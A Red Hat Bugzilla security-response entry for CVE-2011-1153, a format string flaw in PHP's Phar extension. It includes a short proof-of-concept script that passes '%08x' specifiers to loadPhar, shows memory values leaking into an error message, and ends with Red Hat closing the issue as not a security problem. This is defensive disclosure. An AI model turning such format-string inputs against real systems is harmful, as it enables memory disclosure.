Bug 688378 (CVE-2011-1153)

Summary:	CVE-2011-1153 php: several format string vulnerabilities in PHP's Phar extension
Product:	[Other] Security Response	Reporter:	Vincent Danen <vdanen>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED NOTABUG	QA Contact:
Severity:	medium	Docs Contact:
Priority:	medium
Version:	unspecified	CC:	fedora, fweimer, jeder, jlieskov, jorton, rpm
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2011-04-29 22:28:46 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:

Description Vincent Danen 2011-03-16 22:02:23 UTC

Several format string flaws were found in PHP's Phar extension [1] that could be used to leak some parts of memory via error messages.  These have been corrected in upstream svn [2].  The Phar extension is part of PHP since 5.3.0.

This is demonstrated with the following:

<?php

$x = new PharData('a.php');
$x->loadPhar("%08x.%08x.%08x.%08x.%08x");

?>

% php phar.php 
PHP Fatal error:  Uncaught exception 'PharException' with message 'unable to open phar for reading "00000000.00000008.00000000.bffb3624.081ef712"' in /tmp/tests/phar.php:4
Stack trace:
#0 /tmp/tests/phar.php(4): PharData::loadPhar('%08x.%08x.%08x....')
#1 {main}
  thrown in /tmp/tests/phar.php on line 4

[1] http://bugs.php.net/bug.php?id=54247
[2] http://svn.php.net/viewvc?view=revision&revision=309221

Comment 1 Vincent Danen 2011-03-16 22:15:07 UTC

I'm not very familiar with these phar archives, but I suspect these would not be something a user could just upload (or a normal site would allow to be uploaded and then loaded), so I believe this flaw is probably more of a local flaw, than a remote flaw.

Comment 11 Vincent Danen 2011-04-29 22:28:46 UTC

Statement:

Red Hat does not consider this flaw to be a security issue.  It is improbable that a script would accept untrusted user input or unvalidated script input data as a PHAR archive file name to load.  The file name passed to the PHAR-handling functions is therefore under the full control of the script author and no trust boundary is crossed.